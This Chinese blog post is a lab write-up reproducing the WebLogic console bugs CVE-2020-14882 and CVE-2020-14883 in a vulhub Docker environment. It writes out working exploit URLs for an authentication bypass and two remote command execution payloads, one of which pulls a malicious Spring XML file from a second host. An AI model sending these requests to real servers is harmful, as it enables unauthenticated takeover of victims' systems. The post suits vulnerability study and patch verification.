其他分享
首页 > 其他分享> > Weblogic 管理控制台未授权远程命令执行漏洞

Weblogic 管理控制台未授权远程命令执行漏洞

作者:互联网

Weblogic 管理控制台未授权远程命令执行漏洞

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。


漏洞环境

我们先下载环境,在github有别人直接搭建好的docker环境我们直接拿来用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2020-14882/
docker-compose up -d

访问IP:7001/console/即可看到一个后台登陆页面.


影响版本

weblogic 版本:

10.3.6.0
14.1.1.0
12.2.1.4
12.2.1.3
12.1.3.0


漏洞复现

首先通过CVE-2020-14882的权限绕过漏洞,未授权访问后台管理页面,通过以下URL访问

http://ip:7001/console/css/%252e%252e%252fconsole.portal

然后通过CVE-2020-14883来执行任意代码执行

CVE-2020-14883有两种利用方法一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

一、com.tangosol.coherence.mvel2.sh.ShellSession方法直接访问以下构造的URL即可利用

http://ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/EDI');")

进入容器发现创建的文件

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

二、com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext方法通用所有

我们构建一个xml文件,将其保存在weblogic能访问的服务器上:192.168.2.215:8080/EDI.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/EDI1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然后构造URL即可利用

http:/ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://192.168.2.215:8080/EDI.xml%22)

进入容器发现创建的EDI1文件

标签:252e%,漏洞,2020,Weblogic,控制台,CVE,com
来源: https://www.cnblogs.com/blankunbeaten/p/14784633.html